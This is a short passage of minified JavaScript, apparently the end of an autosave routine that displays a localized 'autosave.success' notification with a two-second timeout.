                    content: e.getLang("autosave.success"),
                    timeout: 2e3
                })
            }, 2e3)
        })
    })
}();
